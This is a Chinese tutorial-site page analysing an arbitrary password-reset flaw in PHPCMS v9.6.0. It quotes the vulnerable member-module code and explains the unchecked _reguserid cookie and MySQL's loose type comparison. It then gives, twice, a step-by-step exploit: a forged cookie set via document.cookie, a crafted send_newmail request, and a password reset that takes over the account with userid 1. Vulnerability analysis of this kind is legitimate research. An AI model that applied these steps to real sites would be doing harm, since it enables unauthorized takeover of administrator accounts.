您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMS v9.6.0任意用户密码重置的方法
紫真2025-05-19phpcms教程已有人查阅
导读他分析的好像不对。我用我的在分析一次。先来看poc:根据phpcms的框架,定位到源码地址/phpcms/modules/member/index.php 第267到312行
他分析的好像不对。我用我的在分析一次。
先来看poc:
/index.php?m=member&c=index&a=send_newmail&siteid=1&newemail=aa222a@qq.com
根据phpcms的框架,定位到源码地址
/phpcms/modules/member/index.php 第267到312行
跟进去:/phpv9.6.0/phpcms/libs/classes/param.class.php 第106-117行。
接着有个if判断,这就是我说文章分析错的地方,这里的$var的值是gggCB__reguserid,根本不在后面的这个数组里面,所以进入不到$value = intval($value);
所以不能intval出数字来,所以文章分析错了,但是还是能密码重置。接着看,返回了$value的值,也就是1xxxx。
省略中间的运行:来到304行,看这句
跟进去形成sql修改。语句是这样的。
所以他的语句就变成了
大概的攻击流程是这样的。
注册一个1xxx ,然后获取cookie中的username的值,然后切换一个浏览器,再次打开网页,在f12中,设置cookie的值,注意__reguserid前面的gggCB也要和username的值一样
document.cookie='gggCB__reguserid=2f22C0FxoGesxWq73GqUXpuJBDAAEO_KZL5MuEDDeaEj9w'
然后访问 /index.php?m=member&c=index&a=send_newmail&siteid=1&newemail=q123456@qq.com
看到页面返回1就代表成功了,然后就去
/index.php?m=member&c=index&a=public_forget_password&siteid=1
输入你的邮箱 重置掉userid=1的密码。
先来看poc:
/index.php?m=member&c=index&a=send_newmail&siteid=1&newemail=aa222a@qq.com
根据phpcms的框架,定位到源码地址
/phpcms/modules/member/index.php 第267到312行
public function send_newmail() {
$_username = param::get_cookie('_regusername');
$_userid = param::get_cookie('_reguserid');
$_ssouid = param::get_cookie('_reguseruid');
$newemail = $_GET['newemail'];
if($newemail==''){//邮箱为空,直接返回错误
return '2';
}
$this->_init_phpsso();
$status = $this->client->ps_checkemail($newemail);
if($status=='-5'){//邮箱被占用
exit('-1');
}
if ($status==-1) {
$status = $this->client->ps_get_member_info($newemail, 3);
if($status) {
$status = unserialize($status); //接口返回序列化,进行判断
if (!isset($status['uid']) || $status['uid'] != intval($_ssouid)) {
exit('-1');
}
} else {
exit('-1');
}
}
//验证邮箱格式
pc_base::load_sys_func('mail');
$code = sys_auth($_userid.'|'.microtime(true), 'ENCODE', get_auth_key('email'));
$url = APP_PATH."index.php?m=member&c=index&a=register&code=$code&verify=1";
//读取配置获取验证信息
$member_setting = getcache('member_setting');
$message = $member_setting['registerverifymessage'];
$message = str_replace(array('{click}','{url}','{username}','{email}','{password}'), array('<a href="'.$url.'">'.L('please_click').'</a>',$url,$_username,$newemail,$password), $message);
if(sendmail($newemail, L('reg_verify_email'), $message)){
//更新新的邮箱,用来验证
$this->db->update(array('email'=>$newemail), array('userid'=>$_userid));
$this->client->ps_member_edit($_username, $newemail, '', '', $_ssouid);
$return = '1';
}else{
$return = '2';
}
echo $return;
}
$_userid用 param::get_cookie('_reguserid') 来获取跟进去:/phpv9.6.0/phpcms/libs/classes/param.class.php 第106-117行。
public static function get_cookie($var, $default = '') {
$var = pc_base::load_config('system','cookie_pre').$var;
$value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
$value = intval($value);
} elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { // site_model auth
$value = safe_replace($value);
}
return $value;
}
这时候的$var的值是_reguserid, 然后获取前缀。
pc_base::load_config('system','cookie_pre')
$var的值就变成了gggCB__reguserid,然后进到sys_auth($_COOKIE[$var], 'DECODE'),由于这个值我们是可控的,那找个可控的地方加密一下,也就是注册的时候,把名字注册成1xxxx(为什么是这样的后面会说) ,然后他会对username进行加密,我们只要注册一个号,然后复制出里面username的值就行。接着有个if判断,这就是我说文章分析错的地方,这里的$var的值是gggCB__reguserid,根本不在后面的这个数组里面,所以进入不到$value = intval($value);
所以不能intval出数字来,所以文章分析错了,但是还是能密码重置。接着看,返回了$value的值,也就是1xxxx。
省略中间的运行:来到304行,看这句
$this->db->update(array('email'=>$newemail), array('userid'=>$_userid));
进行update操作,$newemail的值是我们给的,$_userid是 1xxxx 。跟进去形成sql修改。语句是这样的。
UPDATE `phpcms`.`v9_member` SET `email`='aa223d@qq.com' WHERE `userid` = '1xxxx'
然后在mysql中,where 1 = '1sFdsfdsf' 是相等的,因为后面的字符串转为了数组1所以他的语句就变成了
UPDATE `phpcms`.`v9_member` SET `email`='aa223d@qq.com' WHERE `userid` = '1'
然后重置掉了用户userid为1 的用户大概的攻击流程是这样的。
注册一个1xxx ,然后获取cookie中的username的值,然后切换一个浏览器,再次打开网页,在f12中,设置cookie的值,注意__reguserid前面的gggCB也要和username的值一样
document.cookie='gggCB__reguserid=2f22C0FxoGesxWq73GqUXpuJBDAAEO_KZL5MuEDDeaEj9w'
然后访问 /index.php?m=member&c=index&a=send_newmail&siteid=1&newemail=q123456@qq.com
看到页面返回1就代表成功了,然后就去
/index.php?m=member&c=index&a=public_forget_password&siteid=1
输入你的邮箱 重置掉userid=1的密码。
本文标签:
很赞哦! ()
上一篇:phpcms文件目录结构分析介绍
相关教程
图文教程
phpcms替换首页的方法
phpcms替换首页的方法:首先做一个静态的企业站主页:html将网页中的JS和CSS文件放入statics文件夹下的相应位置。
phpcms调用文章不显示推荐文章的解决方法
phpcms调用文章不显示推荐文章怎么办?列表页不显示某个推荐位文章的办法此效果仅满足特殊需要,用的人不多,所以不过多说明。
phpcms广告添加修改方法
phpcms广告在模块管理中的“广告”分类下进行设置,其添加phpcms广告的方法是:首先点击添加版位,选择广告位的类型,并根据类型设置填入所需参数;然后对该位置进行广告添加
phpcms不限制模型进行全站搜索的方法
phpcms不限制模型进行全站搜索<?php/***自定义不按照模型进行全站搜索
相关源码
-
(PC+WAP)安保服务保安保镖模板免费下载本模板基于PbootCMS内核开发,为安保服务企业量身打造。设计风格严谨专业,突出安保行业的安全、可靠特性,展示企业服务项目与实力。采用响应式设计,PC与移动端数据同步,管理便捷。模板布局合理查看源码 -
(自适应)光伏测试仪器电站运维设备网站源码免费下载本模板为光伏检测设备与电站运维服务企业设计,采用PbootCMS内核开发,具备完整的设备展示、技术文档管理及客户服务功能模块。通过自适应结构与SEO优化框架,有效提升企业在移动端和搜索引擎中的专业形象。查看源码 -
(响应式)WordPress主题Ripro9.0博客免扩展二开版RiPro9.0是基于RiPro8.9版本深度二开优化的资源付费主题,源码修正,修复原版多处功能异常,确保系统稳定运行。支持虚拟主机环境部署,无需特殊服务器配置。查看源码 -
(自适应)蓝色建材亚克力板材装饰材料pbootcms网站模板这款基于PbootCMS开发的响应式模板为建材板材行业优化设计,适用于亚克力板材、建筑装饰材料等企业展示需求。采用HTML5技术实现手机/PC跨终端适配,管理员通过统一后台即可同步查看源码 -
(自适应响应式)装修装潢设计公司网站源码下载本模板为装修设计企业打造,采用PbootCMS内核开发,整体设计突出空间美学与功能性结合。首页采用大图轮播展示工程案例,服务项目模块支持三维效果展示,呈现装修设计企业的专业形象与技术实力。查看源码 -
(PC+WAP)红色家装设计智能家居家具建材pbootcms网站源码下载本模板基于PbootCMS系统开发,为智能家居、家装设计及家具建材行业设计。采用现代化布局风格,突出家居设计行业特色,适合展示各类家居产品、设计方案和建材信息。查看源码
| 分享笔记 (共有 篇笔记) |
